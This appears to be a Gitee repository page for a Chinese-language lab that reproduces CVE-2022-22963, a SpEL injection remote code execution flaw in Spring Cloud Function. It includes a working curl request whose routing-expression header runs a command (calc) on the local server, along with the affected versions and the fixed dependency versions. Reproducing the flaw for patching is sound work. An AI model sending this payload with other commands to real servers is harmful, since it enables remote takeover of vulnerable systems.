# spring-cloud-function-rce-CVE-2022-22963 **Repository Path**: luoex/spring-cloud-function-rce-CVE-2022-22963 ## Basic Information - **Project Name**: spring-cloud-function-rce-CVE-2022-22963 - **Description**: Spring Cloud Function SPEL注入漏洞 - **Primary Language**: Unknown - **License**: Not specified - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 2 - **Forks**: 0 - **Created**: 2022-03-31 - **Last Updated**: 2022-12-07 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README 本示例对应CVE-2022-22963: Spring Expression Resource Access Vulnerability,参考链接如下: - [https://spring.io/blog/2022/03/29/cve-report-published-for-spring-cloud-function](https://spring.io/blog/2022/03/29/cve-report-published-for-spring-cloud-function) - [https://tanzu.vmware.com/security/cve-2022-22963](https://tanzu.vmware.com/security/cve-2022-22963) ## 复现方式 **复现效果:** 即执行注入请求后,会调用服务器端命令(本例即调起win计算器) ![复现效果图 - 调起win计算器](/doc/scf-rce.png) **方式1:直接运行测试用例** [ScfApplicationTests.java -> testScfRce](src/test/java/com/example/demo/ScfApplicationTests.java) **方式2:模拟对应请求** 首先启动当前应用,然后通过如下命令复现请求: ```bash curl "http://localhost:8080/functionRouter" -X "POST" -H "Content-Type: application/x-www-form-urlencoded" -H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec('calc')" -v ``` ## 产生根源 依赖Spring Cloud Function(如spring-cloud-function-context, spring-cloud-function-web, spring-cloud-function-webflux等),
受影响的版本:Spring Cloud Function (3 <= version <= 3.2.2)
>注: >此漏洞仅适用于依赖了Spring Cloud Function的应用,若未依赖相关模块则不受影响。 ## 修复方式 目前Spring官方已在2022-03-29发布了Spring Cloud Function对应的修复版本,
- 3.1.x版本需升级到3.1.7 - 3.2.x版本需升级到3.2.3 本示例的修复需调整相关maven依赖如下: ```xml org.springframework.cloud spring-cloud-function-web 3.2.3 org.springframework.cloud spring-cloud-function-context 3.2.3 org.springframework.cloud spring-cloud-function-core 3.2.3 ```